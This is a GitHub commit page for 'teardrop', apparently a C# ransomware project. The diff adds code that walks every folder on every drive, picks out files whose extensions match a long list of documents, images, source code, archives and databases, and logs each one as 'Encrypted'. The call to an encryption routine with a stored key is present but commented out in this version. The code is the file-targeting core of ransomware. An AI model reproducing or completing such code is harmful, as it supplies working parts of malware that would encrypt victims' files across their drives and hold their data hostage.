Skip to content

Commit 31c1a93

Browse files
committed
Major Update
- Getting all Files from all Drives - Checking extension
1 parent ed63df4 commit 31c1a93

File tree

9 files changed

+47
-37
lines changed

9 files changed

+47
-37
lines changed

teardrop/.vs/teardrop/v16/.suo

0 Bytes
Binary file not shown.

teardrop/teardrop/Form1.Designer.cs

Lines changed: 2 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

teardrop/teardrop/Form1.cs

Lines changed: 45 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -50,9 +50,46 @@ public void write(string text)
5050
textBox1.AppendText(text + Environment.NewLine);
5151
}
5252

53-
public static List<string> drives = new List<string>();
54-
public static List<string> files = new List<string>();
55-
53+
string[] file;
54+
private void ShowAllFoldersUnder(string path, int indent)
55+
{
56+
try
57+
{
58+
if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
59+
!= FileAttributes.ReparsePoint)
60+
{
61+
foreach (string folder in Directory.GetDirectories(path))
62+
{
63+
try
64+
{
65+
file = Directory.GetFiles(Path.GetFullPath(folder));
66+
} catch { }
67+
68+
foreach(string s in file)
69+
{
70+
string ext = Path.GetExtension(s);
71+
var validExtensions = new[]
72+
{
73+
".jpg", ".jpeg", ".gif", ".mp3", ".m4a", ".wav", ".pdf", ".raw", ".bat", ".json", ".doc", ".txt", ".png", ".cs", ".c", ".java", ".h", ".rar", ".zip", ".7zip",
74+
".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".xhtml", ".odt", ".ods", ".wma",
75+
".wav", ".mpa", ".ogg", ".arj", ".deb", ".pkg", ".rar", ".tar.gz", ".gz", ".zip", ".py", ".pl", ".bin", ".ai" ,".ico",
76+
".asp", ".aspx", ".css", ".js", ".py", ".sh", ".vb", "java", ".cpp"
77+
};
78+
79+
if (validExtensions.Contains(ext))
80+
{
81+
//Crypto.FileEncrypt(s, Properties.Settings.Default.key);
82+
write("Encrypted " + s);
83+
}
84+
85+
}
86+
87+
ShowAllFoldersUnder(folder, indent + 2);
88+
}
89+
}
90+
}
91+
catch (UnauthorizedAccessException e) { write(e.Message); }
92+
}
5693

5794
public void GetFiles()
5895
{
@@ -65,10 +102,12 @@ public void GetFiles()
65102
try
66103
{
67104
write("Found drive " + drive.Name);
68-
write("Getting Files of Drive " + drive.Name);
69105

70-
files.AddRange(Directory.EnumerateFiles(drive.Name, "*",
71-
SearchOption.AllDirectories));
106+
try
107+
{
108+
ShowAllFoldersUnder(drive.Name, 0);
109+
}
110+
catch { }
72111
}
73112
catch (Exception ex1)
74113
{
@@ -80,35 +119,6 @@ public void GetFiles()
80119
{
81120

82121
}
83-
84-
85-
try
86-
{
87-
write("Getting Files");
88-
89-
foreach (string s in files)
90-
{
91-
string ext = Path.GetExtension(s);
92-
var validExtensions = new[]
93-
{
94-
".jpg", ".jpeg", ".gif", ".mp3", ".m4a", ".wav", ".pdf", ".exe", ".raw", ".bat", ".json", ".doc", ".txt", ".png", ".cs", ".c", ".java", ".h", ".dll",".rar", ".zip", ".7zip",
95-
".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".xhtml", ".odt", ".ods", ".wma",
96-
".wav", ".mpa", ".ogg", ".arj", ".deb", ".pkg", ".rar", ".tar.gz", ".gz", ".zip", ".py", ".pl", ".bin", ".ai" ,".ico",
97-
".asp", ".aspx", ".css", ".js", ".py", ".sh", ".vb", "java", ".cpp"
98-
};
99-
100-
if (validExtensions.Contains(ext)){
101-
//Crypto.FileEncrypt(s, Properties.Settings.Default.key);
102-
write("Encrypted " + s);
103-
}
104-
}
105-
106-
write("Done getting files");
107-
}
108-
catch (Exception ex2)
109-
{
110-
write(ex2.Message);
111-
}
112122

113123
}
114124
}
-512 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.
Binary file not shown.
Binary file not shown.
-512 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)